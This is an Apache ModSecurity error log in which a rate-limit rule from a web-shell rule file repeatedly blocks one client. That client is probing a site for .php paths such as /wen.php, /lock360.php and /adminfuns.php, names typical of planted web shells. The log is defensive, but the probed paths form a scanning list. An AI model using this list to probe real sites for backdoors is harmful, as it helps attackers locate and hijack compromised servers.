[Thu Jan 08 01:07:56.843967 2026] [:error] [pid 50905:tid 50921] [client 4.189.122.79:3132] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/000.php"] [unique_id "aV6S7GpNgk5-gt30I7bGEAAAAk4"]
[Thu Jan 08 01:07:57.070564 2026] [:error] [pid 58294:tid 58303] [client 4.189.122.79:3442] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/000.php"] [unique_id "aV6S7VfzA7c0ITpf3nFbVAAAAIc"]
[Thu Jan 08 01:07:57.297468 2026] [:error] [pid 50905:tid 50927] [client 4.189.122.79:3451] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxxx.php"] [unique_id "aV6S7WpNgk5-gt30I7bGEgAAAlQ"]
[Thu Jan 08 01:07:57.524459 2026] [:error] [pid 50905:tid 50907] [client 4.189.122.79:3172] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxxx.php"] [unique_id "aV6S7WpNgk5-gt30I7bGEwAAAkA"]
[Thu Jan 08 01:07:57.755636 2026] [:error] [pid 50838:tid 50842] [client 4.189.122.79:3140] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxxx.php"] [unique_id "aV6S7bSweZ27JIN4H8vtuQAAAcI"]
[Thu Jan 08 01:07:57.990764 2026] [:error] [pid 30634:tid 30691] [client 4.189.122.79:3102] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxxx.php"] [unique_id "aV6S7YCIPBibObtmZtswHwAAAME"]
[Thu Jan 08 01:07:58.218510 2026] [:error] [pid 58294:tid 58304] [client 4.189.122.79:3118] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "aV6S7lfzA7c0ITpf3nFbVgAAAIg"]
[Thu Jan 08 01:07:58.445880 2026] [:error] [pid 50936:tid 50955] [client 4.189.122.79:23080] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "aV6S7rDlg80QUdd5qc40OwAAApE"]
[Thu Jan 08 01:07:58.696914 2026] [:error] [pid 50936:tid 50958] [client 4.189.122.79:3079] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "aV6S7rDlg80QUdd5qc40PAAAApQ"]
[Thu Jan 08 01:07:58.925883 2026] [:error] [pid 50870:tid 50885] [client 4.189.122.79:23096] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "aV6S7hlePfspAt1BzouXrAAAAg0"]
[Thu Jan 08 01:07:59.153016 2026] [:error] [pid 58294:tid 58307] [client 4.189.122.79:3397] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ss1.php"] [unique_id "aV6S71fzA7c0ITpf3nFbVwAAAIs"]
[Thu Jan 08 01:07:59.384086 2026] [:error] [pid 30632:tid 30645] [client 4.189.122.79:3411] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ss1.php"] [unique_id "aV6S7-d3_LCpBJzo02c6GAAAAAk"]
[Thu Jan 08 01:07:59.611609 2026] [:error] [pid 58294:tid 58317] [client 4.189.122.79:23042] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ss1.php"] [unique_id "aV6S71fzA7c0ITpf3nFbWAAAAJU"]
[Thu Jan 08 01:07:59.838404 2026] [:error] [pid 30632:tid 30643] [client 4.189.122.79:3394] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ss1.php"] [unique_id "aV6S7-d3_LCpBJzo02c6GwAAAAc"]
[Thu Jan 08 01:08:00.065869 2026] [:error] [pid 58294:tid 58297] [client 4.189.122.79:3454] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shoyo.php"] [unique_id "aV6S8FfzA7c0ITpf3nFbWQAAAIE"]
[Thu Jan 08 01:08:00.312776 2026] [:error] [pid 58294:tid 58318] [client 4.189.122.79:3445] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shoyo.php"] [unique_id "aV6S8FfzA7c0ITpf3nFbWgAAAJY"]
[Thu Jan 08 01:08:00.539860 2026] [:error] [pid 51128:tid 51152] [client 4.189.122.79:3180] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shoyo.php"] [unique_id "aV6S8EGjtE8U88mrwufLowAAAZY"]
[Thu Jan 08 01:08:00.768980 2026] [:error] [pid 30632:tid 30655] [client 4.189.122.79:3404] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shoyo.php"] [unique_id "aV6S8Od3_LCpBJzo02c6IAAAABM"]
[Thu Jan 08 01:08:00.996808 2026] [:error] [pid 58330:tid 58332] [client 4.189.122.79:3177] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "aV6S8A8kGngKGK7_wncyGQAAAQA"]
[Thu Jan 08 01:08:01.229064 2026] [:error] [pid 50838:tid 50860] [client 4.189.122.79:3448] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "aV6S8bSweZ27JIN4H8vtuwAAAdQ"]
[Thu Jan 08 01:08:01.456276 2026] [:error] [pid 58330:tid 58336] [client 4.189.122.79:3137] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "aV6S8Q8kGngKGK7_wncyHAAAAQQ"]
[Thu Jan 08 01:08:01.684787 2026] [:error] [pid 50870:tid 50880] [client 4.189.122.79:3624] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "aV6S8RlePfspAt1BzouXtgAAAgg"]
[Thu Jan 08 01:08:01.912867 2026] [:error] [pid 50870:tid 50877] [client 4.189.122.79:3199] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aV6S8RlePfspAt1BzouXtwAAAgU"]
[Thu Jan 08 01:08:02.141686 2026] [:error] [pid 50905:tid 50928] [client 4.189.122.79:3418] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aV6S8mpNgk5-gt30I7bGHgAAAlU"]
[Thu Jan 08 01:08:02.367626 2026] [:error] [pid 50905:tid 50914] [client 4.189.122.79:3429] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aV6S8mpNgk5-gt30I7bGIAAAAkc"]
[Thu Jan 08 01:08:02.594469 2026] [:error] [pid 51128:tid 51148] [client 4.189.122.79:3616] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aV6S8kGjtE8U88mrwufLpgAAAZI"]
[Thu Jan 08 01:08:02.820642 2026] [:error] [pid 50838:tid 50846] [client 4.189.122.79:3609] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aV6S8rSweZ27JIN4H8vtvQAAAcY"]
[Thu Jan 08 01:08:03.047445 2026] [:error] [pid 50905:tid 50907] [client 4.189.122.79:3153] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aV6S82pNgk5-gt30I7bGIwAAAkA"]
[Thu Jan 08 01:08:03.274474 2026] [:error] [pid 50870:tid 50892] [client 4.189.122.79:3406] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aV6S8xlePfspAt1BzouXuAAAAhQ"]
[Thu Jan 08 01:08:03.507521 2026] [:error] [pid 50905:tid 50915] [client 4.189.122.79:3410] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aV6S82pNgk5-gt30I7bGJgAAAkg"]
[Thu Jan 08 01:08:03.750635 2026] [:error] [pid 58294:tid 58314] [client 4.189.122.79:3150] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aV6S81fzA7c0ITpf3nFbYAAAAJI"]
[Thu Jan 08 01:08:03.978953 2026] [:error] [pid 30632:tid 30640] [client 4.189.122.79:3152] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aV6S8-d3_LCpBJzo02c6KQAAAAQ"]
[Thu Jan 08 01:08:04.243655 2026] [:error] [pid 50838:tid 50853] [client 4.189.122.79:3194] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aV6S9LSweZ27JIN4H8vtwAAAAc0"]
[Thu Jan 08 01:08:04.478130 2026] [:error] [pid 50870:tid 50875] [client 4.189.122.79:3166] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aV6S9BlePfspAt1BzouXuQAAAgM"]
[Thu Jan 08 01:08:04.703895 2026] [:error] [pid 50936:tid 50949] [client 4.189.122.79:3158] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class9.php"] [unique_id "aV6S9LDlg80QUdd5qc40QQAAAos"]
[Thu Jan 08 01:08:04.938799 2026] [:error] [pid 30634:tid 30707] [client 4.189.122.79:23058] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class9.php"] [unique_id "aV6S9ICIPBibObtmZtswJQAAANE"]
[Thu Jan 08 01:08:05.167012 2026] [:error] [pid 30633:tid 30685] [client 4.189.122.79:3433] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class9.php"] [unique_id "aV6S9fZiVWlF7303nMjYxgAAAFY"]
[Thu Jan 08 01:08:05.394537 2026] [:error] [pid 50870:tid 50876] [client 4.189.122.79:3465] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class9.php"] [unique_id "aV6S9RlePfspAt1BzouXuwAAAgQ"]
[Thu Jan 08 01:08:05.620977 2026] [:error] [pid 50870:tid 50882] [client 4.189.122.79:3443] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless11.php"] [unique_id "aV6S9RlePfspAt1BzouXvAAAAgo"]
[Thu Jan 08 01:08:05.876417 2026] [:error] [pid 50870:tid 50895] [client 4.189.122.79:3642] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless11.php"] [unique_id "aV6S9RlePfspAt1BzouXvQAAAhc"]
[Thu Jan 08 01:08:06.108761 2026] [:error] [pid 30632:tid 30645] [client 4.189.122.79:3436] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless11.php"] [unique_id "aV6S9ud3_LCpBJzo02c6LQAAAAk"]
[Thu Jan 08 01:08:06.337925 2026] [:error] [pid 30632:tid 30657] [client 4.189.122.79:3437] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless11.php"] [unique_id "aV6S9ud3_LCpBJzo02c6LgAAABU"]
[Thu Jan 08 01:08:06.564281 2026] [:error] [pid 50838:tid 50849] [client 4.189.122.79:3413] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aV6S9rSweZ27JIN4H8vtwwAAAck"]
[Thu Jan 08 01:08:06.797704 2026] [:error] [pid 30634:tid 30708] [client 4.189.122.79:3438] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aV6S9oCIPBibObtmZtswKAAAANI"]
[Thu Jan 08 01:08:07.024219 2026] [:error] [pid 50905:tid 50931] [client 4.189.122.79:3120] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aV6S92pNgk5-gt30I7bGKQAAAlg"]
[Thu Jan 08 01:08:07.266339 2026] [:error] [pid 30634:tid 30704] [client 4.189.122.79:3130] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aV6S94CIPBibObtmZtswKQAAAM4"]
[Thu Jan 08 01:08:07.492635 2026] [:error] [pid 58294:tid 58308] [client 4.189.122.79:3452] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless5.php"] [unique_id "aV6S91fzA7c0ITpf3nFbYwAAAIw"]
[Thu Jan 08 01:08:07.721929 2026] [:error] [pid 58294:tid 58302] [client 4.189.122.79:3184] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless5.php"] [unique_id "aV6S91fzA7c0ITpf3nFbZAAAAIY"]
[Thu Jan 08 01:08:07.956828 2026] [:error] [pid 51128:tid 51150] [client 4.189.122.79:23069] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless5.php"] [unique_id "aV6S90GjtE8U88mrwufLrwAAAZQ"]
[Thu Jan 08 01:08:08.184917 2026] [:error] [pid 30632:tid 30649] [client 4.189.122.79:3602] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless5.php"] [unique_id "aV6S-Od3_LCpBJzo02c6MgAAAA0"]
[Thu Jan 08 01:08:08.413520 2026] [:error] [pid 30632:tid 30655] [client 4.189.122.79:3146] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aV6S-Od3_LCpBJzo02c6NAAAABM"]
[Thu Jan 08 01:08:08.645838 2026] [:error] [pid 30633:tid 30669] [client 4.189.122.79:3195] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aV6S-PZiVWlF7303nMjYzgAAAEY"]
[Thu Jan 08 01:08:08.873334 2026] [:error] [pid 30632:tid 30656] [client 4.189.122.79:3169] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aV6S-Od3_LCpBJzo02c6NgAAABQ"]
[Thu Jan 08 01:08:09.111169 2026] [:error] [pid 51128:tid 51152] [client 4.189.122.79:3115] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aV6S-UGjtE8U88mrwufLsQAAAZY"]
[Thu Jan 08 01:08:09.338512 2026] [:error] [pid 50870:tid 50883] [client 4.189.122.79:3129] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aV6S-RlePfspAt1BzouXvwAAAgs"]
[Thu Jan 08 01:08:09.574592 2026] [:error] [pid 30633:tid 30675] [client 4.189.122.79:3167] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aV6S-fZiVWlF7303nMjYzwAAAEw"]
